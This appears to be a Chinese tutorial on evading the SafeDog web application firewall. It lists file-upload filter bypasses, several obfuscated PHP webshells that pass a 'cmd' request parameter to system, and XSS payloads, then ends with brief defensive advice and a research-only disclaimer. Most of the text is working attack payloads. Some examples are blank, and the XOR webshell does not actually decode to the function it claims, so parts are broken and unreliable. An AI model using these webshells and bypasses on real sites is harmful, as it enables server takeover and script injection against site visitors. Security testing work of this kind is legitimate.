安全狗最新文件上传绕过、Webshell免杀以及XSS绕过的一些小思路
字数 979 2025-08-15 21:32:37
安全狗WAF绕过技术详解:文件上传、Webshell免杀与XSS绕过
0x00 前言
本文详细解析安全狗WAF在文件上传、Webshell检测和XSS防护方面的绕过技术,所有方法仅用于安全测试和研究目的,旨在帮助安全厂商完善产品防护能力。
0x01 文件上传绕过技术
基本绕过方法
-
等号符号绕过:
- 在filename参数后添加多个等号(=)
- 示例:
filename=====test.php
-
换行符绕过:
- 在文件名中插入换行符
- 示例:
file\nname=test.php
-
大小写混合:
- 使用PhP、pHP等变体绕过简单扩展名检测
-
空字符截断:
- 使用
%00截断技术 - 示例:
filename="test.php%00.jpg"
- 使用
-
双扩展名:
- 使用
test.php.jpg等形式
- 使用
进阶技术
-
Content-Type篡改:
- 将
application/octet-stream改为image/jpeg
- 将
-
多部分边界混淆:
- 修改MIME边界定义
-
HTTP头注入:
- 在文件名字段注入额外HTTP头
0x02 Webshell免杀技术
基本免杀方法
-
字符串拼接技术:
<?php $a = "s"."y"."s"."t"."e"."m"; $a($_GET['cmd']); ?> -
函数动态调用:
<?php $func = "system"; $func("whoami"); ?>
高级免杀技术
-
编码转换技术:
- Base64编码:
<?php eval(base64_decode("c3lzdGVtKCJ3aG9hbWkiKTs=")); ?> -
异或运算:
<?php $a = ("!"^"@").("("^"[").("("^"[").("!"^"@").("4"^"A").("("^"["); $a($_GET['cmd']); ?> -
数组拆分重组:
<?php $parts = array("sy", "st", "em"); $func = implode("", $parts); $func($_GET['cmd']); ?> -
回调函数:
<?php call_user_func_array("system", array("whoami")); ?> -
反射技术:
<?php $reflect = new ReflectionFunction("system"); $reflect->invoke("whoami"); ?>
0x03 XSS绕过技术
HTML标签绕过
-
替代标签:
<audio src=x onerror=alert(1)><video src=x onerror=alert(1)><div onmouseover=alert(1)><button onclick=alert(1)>Click</button>
-
属性混淆:
- ``
- ``
JavaScript事件绕过
-
替代方法:
confirm(1)prompt(1)print()
-
编码混淆:
- HTML实体编码:``
- Unicode编码:``
-
双写绕过:
- ``
特殊技巧
-
SVG标签:
<svg onload=alert(1)> -
伪协议:
<iframe src=javascript:alert(1)> -
DOM型XSS:
<script>eval(location.hash.substr(1))</script>
防御建议
-
文件上传防护:
- 白名单文件扩展名验证
- 文件内容检测
- 重命名上传文件
-
Webshell防护:
- 静态代码分析
- 行为监控
- 敏感函数调用追踪
-
XSS防护:
- 严格的输入过滤
- 输出编码
- CSP策略实施
以上技术仅用于安全研究,请勿用于非法用途。